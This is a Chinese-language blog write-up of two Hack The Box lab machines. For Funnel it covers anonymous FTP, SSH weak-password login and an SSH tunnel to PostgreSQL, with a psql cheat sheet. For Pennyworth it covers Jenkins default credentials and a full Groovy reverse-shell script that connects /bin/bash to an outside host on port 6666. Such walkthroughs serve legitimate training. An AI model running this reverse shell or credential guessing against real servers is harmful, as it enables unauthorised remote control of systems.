HTB靶场:funnel & Pennyworth(postgresql&Jetty)

funnel

1. 端口扫描

2. 测试ftp匿名登录

发现两个文件,一个是跟密码有关的pdf文件

将其下载后打开

这里的关键在于默认密码 funnel123#!#

其他的都不重要,关键在于这是一封队长欢迎成员加入团队的欢迎信。

结合上述默认密码线索,用户名和弱密码已经被拼凑出来了;利用这些测试ssh弱口令。

3. ssh弱口令

4. 进入Linux系统后

查看目前建立的连接 netstat -antulp 或者 ss -antulp

确认服务 netstat -atulp 或者 ss -atulp

发现本地数据库postgresql,并且本地无psql

5. 搭建ssh隧道(端口映射)

端口转发:ssh -L 1234:localhost:5432 christine@10.129.228.195

建立后,可以在本地看到这个连接

psql登录进去:psql -U username -h localhost -p 1234 -W password

找到flag

6. 补充psql命令

  • 连接登录数据库:psql -d dbname -U username -h hosts -p port -W password

  • 列出数据库:\du

  • 列出数据库中所有表:\dt

  • 查看表的结构,返回表的所有列、列的数据类型、索引、是否允许为空,以及配置的默认值:\d tableName

  • 列出用户及其角色:\du;检索特定用户:\du username

  • 列出所有函数:\df

  • 列出所有视图:\dv

  • 查询结果保存到文件:\o filename

  • 从文件中运行命令:\i

  • 推出psql:\q

Pennyworth

1. 扫描到8080

2. 访问,弱口令

账号密码为root/password

探究Jetty、Jenkins、Groovy Script之间的关系
  • Jetty是Java servlet容器,可以理解为Java web服务器

  • Jenkins是一个用于代码集成交付的服务,它能够自动构建、测试和部署应用程序。通过配置文件或脚本实现自动化工作流。

  • Groovy 是一种基于 Java 平台的动态语言,Groovy 脚本可以用于编写 Jenkins Pipeline,定义构建和部署的流程,也可以用来对 Jetty 进行配置和管理。

Jenkins的版本为2.289.1

3. 在查看历史漏洞过程中,发现Jenkins存在一些反序列化、RCE、具有Job/Configure权限的用户任意文件写入漏洞、文件读取漏洞(CVE-2024-23897)

根据Jenkins官方提示,可以通过wget http://localhost:8080/jnlpJars/jenkins-cli.jar下载Jenkins-cli

然后可以利用该工具读取到文件

但实际上,已经通过弱口令登录到Jenkins服务上,相当于拿到了网站管理员权限,上面的方法更加适用于无法进入网站服务,并且另一方面在利用文件读取漏洞必须获取目标文件的路径和文件名

4. RCE(remote code execute)

从dashboard进入

找到位于最底端的Script Console

进入

编写Groovy Script代码,进行代码执行

5. RCE利用,编写Grovy脚本,获取flag

String cmd="/bin/bash";

Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s = new Socket("10.10.16.18",6666);

InputStream pi = p.getInputStream(),pe = p.getErrorStream(),si = s.getInputStream();

OutputStream po = p.getOutputStream(),so = s.getOutputStream();

while (!s.isClosed()) {
  
    while (pi.available() > 0 )
    so.write(pi.read());

    while (pe.available() > 0 ) 
    so.write(pe.read());    
            
    while (si.available() > 0 )
    po.write(si.read());
    
    so.flush();
    po.flush();
  
    Thread.sleep(50);
  
    try {

      p.exitValue();
      break;
    }
    catch (Exception e) {}
  };

  p.destroy();
  s.close();

反弹shell

应用到文件读取,同样能实现

posted @ 2024-11-06 16:12  柯ili  阅读(81)  评论(0)    收藏  举报